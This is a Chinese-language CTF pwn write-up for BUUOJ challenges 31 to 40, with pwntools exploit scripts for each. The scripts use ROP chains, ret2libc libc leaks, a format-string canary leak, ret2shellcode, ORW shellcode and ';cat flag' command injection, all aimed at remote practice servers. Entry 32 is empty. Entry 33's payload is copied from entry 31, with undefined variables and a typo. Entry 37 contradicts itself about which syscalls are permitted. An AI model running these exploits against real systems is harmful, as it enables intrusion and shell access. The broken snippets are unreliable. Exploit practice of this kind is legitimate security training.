31.picoctf_2018_rop chain
(1)分析

main

vuln

gets溢出漏洞
flag

可以看到已经打开flag并且读到s中,只要条件if ( win1 && win2 && a1 == -559039827 )符合就会给flag,同时我们发现在win_function2和win_function2函数中,分别将win1和win2赋值为1了,所以我们只要控制程序跳转执行这两个函数即可


(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26111)
elf=ELF('./31')
win_function1_addr=0x80485cb win_function2_addr=0x80485d8 flag_addr=0x804862b a1=0xBAAAAAAD a11=0xDEADBAAD padding=0x1c
payload=b'a'*padding payload += p32(win_function1_addr) payload += p32(win_function2_addr) payload += p32(flag_addr)+p32(a1)+p32(a11)
io.recvuntil(b'Enter your input>') io.sendline(payload) io.interactive()
|
*32.babyheap_0ctf_2017
(1)分析

(2)payload
*33.ez_pz_hackover_2016
(1)分析

main

chall

发现当s与crashme比较相同时,执行vuln函数
vuln

返回主调函数看n和src,发现n是0x400,src是1023字节,明显会将dest溢出,那么我们就可以利用这个溢出点来进行攻击。由于程序没有NX保护,考虑用ret2shellcode进行攻击
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26111)
elf=ELF('./33')
io.recvuntill(b'Yippie, lets crash:') s_addr=u32(io.recv(4)) padding=0x3c
payload=b'a'*padding payload += p32(win_function1_addr) payload += p32(win_function2_addr) payload += p32(flag_addr)+p32(a1)+p32(a11)
io.recvuntil(b'Whats your name?\n') io.sendline(payload) io.interactive()
|
34.wustctf2020_getshell
(1)分析

main

vulnerable

read漏洞,可溢出8字节
shell

后门函数
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26462)
elf=ELF('./34')
shell_addr=0x804851b padding=0x1c
payload = b'a'*padding payload += p32(shell_addr)
io.sendline(payload) io.interactive()
|
35.jarvisoj_level3_x64
(1)分析

main

vulnerable_function

read漏洞
没有system和/bin/sh字符串,基本确定ret2libc
在ROPgadget中找到了rdi和rsi的返回地址,确认无误
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') io=remote('node4.buuoj.cn',26140) elf=ELF('./35')
write_plt=elf.plt['write'] write_got=elf.got['write'] pop_rdi_ret=0x4006b3 pop_rsi_r15_ret=0x4006b1
main_addr=elf.sym['main'] padding=0x88
payload1=b'a'*padding payload1+=p64(pop_rdi_ret)+p64(1) payload1+=p64(pop_rsi_r15_ret)+p64(write_got)+p64(4) payload1+=p64(write_plt)+p64(main_addr)
io.sendline(payload1)
io.recv() write_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('leak_write_real_addr => {}'.format(hex(write_addr)))
libc = LibcSearcher("write",write_addr) libcbase = write_addr - libc.dump('write') system_addr = libcbase + libc.dump('system') str_bin_sh = libcbase + libc.dump('str_bin_sh')
'''libc=ELF('libc-2.23.so') libcbase = puts_addr-libc.sym['puts'] system_addr=libcbase+libc.sym['system'] str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))''' payload2=b'a'*padding+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
io.sendline(payload2) io.interactive()
|
36.bjdctf_2020_babyrop2
(1)分析

开了canary保护,那我们就要在程序中看看有没有printf函数来泄露canary,因为这是相对简单的canary绕过方式
main

gift

OK,printf字符串漏洞泄露canary
vuln

read函数漏洞
init

明示ret2libc了
那么我们找一下需要的gadgets

OK,rdi和rsi都找到了
那么接下来用gdb调试出printf字符串在栈上的位置

所以canary的偏移为7
好,准备工作全部完成,接下来就是构造payload,我们可以在模板上进行修改。
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') io=remote('node4.buuoj.cn',26404) elf=ELF('./36')
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] pop_rdi_ret=0x400993 pop_rsi_r15_ret=0x400991
main_addr=elf.sym['main'] vuln_addr=elf.sym['vuln'] padding=0x20
payload=b"%7$p" io.sendlineafter(b"u!\n",payload) io.recvuntil(b"0x") canary = int(io.recv(16),16) payload = p64(canary)
payload1=b'a'*(padding-8)+p64(canary)+p64(0) payload1+=p64(pop_rdi_ret)+p64(puts_got) payload1+=p64(puts_plt)+p64(vuln_addr)
io.recvuntil(b'story!\n') io.sendline(payload1)
puts_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('leak_puts_real_addr => {}'.format(hex(puts_addr)))
''' libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') str_bin_sh = libcbase + libc.dump('str_bin_sh') ''' libc=ELF('64libc-2.23.so') libcbase = puts_addr-libc.sym['puts'] system_addr=libcbase+libc.sym['system'] str_bin_sh=libcbase+next(libc.search(b"/bin/sh")) payload2=b'a'*(padding-8)+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
io.recvuntil(b'story!\n') io.sendline(payload2) io.interactive()
|
37.pwnable_orw
(1)分析

题目基本可以确定是ORW方法
介绍一下,ORW是开启了沙箱保护,简单来说就是系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write三个函数来得到flag
main

orw_seccomp

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的沙箱机制。在 Linux 系统里,大量的系统调用(syscall)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(syscall),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止
可以看到orw_seccomp函数执行了两次prctl函数,第一次调用prctl函数 ——禁止提权,第二次调用prctl函数 ——限制能执行的系统调用只有open,write,exit
所以我们不能使用特殊的系统调用getshell,但是可以用open、read、write三个系统调用去读flag。这就是ORW方法
同时pwntools提供了对简单的shellcode的支持
另外自己写个shellcode也可以
打开flag文件,sys_open(file,0,0);系统调用号为5
push 0x0 #字符串结尾
push 0x67616c66 #’flag’ “flag字符串的16进制表示,由于小端序,所以是从右往左”
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)
读flag文件,sys_read(3,file,0x100);系统调用号为3
mov eax,0x3;
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据–>也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x100; #对应字节数
int 0x80;
输出flag文件内容,sys_write(1,file,0x30);系统调用号为4
mov eax,0x4; # eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;
(2)payload
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * context.arch = 'i386' io = remote('node3.buuoj.cn',28626)
shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) payload = asm(shellcode)
io.send(payload) io.interactive()
|
38.mrctf2020_shellcode
(1)分析

堆栈保护没开,应该是shellcode了
main

虽然没溢出,buf的字节给的很大,依然可以shellcode
(2)payload
1 2 3 4 5 6 7
| from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug') io=remote("node3.buuoj.cn",29643) elf=ELF('./38') shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
|
39.jarvisoj_level4
(1)分析

main

vulnerable_function

溢出24字节
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * from LibcSearcher import * context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',28540)
elf=ELF('./39')
main_addr=elf.sym['main'] write_plt=elf.plt['write'] write_got=elf.got['write'] padding=0x8c
payload1=b'a'*padding payload1 += p32(write_plt)+p32(main_addr) payload1 += p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recv(4)) log.success('leak_write_real_addr => {}'.format(hex(write_addr)))
'''libc = LibcSearcher("write",write_addr) libcbase=write_addr-libc.dump('write') system_addr=libcbase+libc.dump("system") str_bin_sh=libcbase+libc.dump('str_bin_sh') ''' libc=ELF('32libc-2.23.so') libcbase=write_addr-libc.sym['write'] system_addr=libcbase+libc.sym['system'] str_bin_sh=libcbase+next(libc.search(b"/bin/sh")) payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)
io.sendline(payload2) io.interactive()
|
40.bjdctf_2020_router
(1)分析

main


发现main函数中的case 1中有system函数,并且会将buf给dest的结尾,那么我们直接进入case 1,输入;cat flag指令即可
这利用了linux下的命令机制,命令1+ ; +命令2 这样的格式两种指令都会执行
所以使用 ;cat flag 可以提权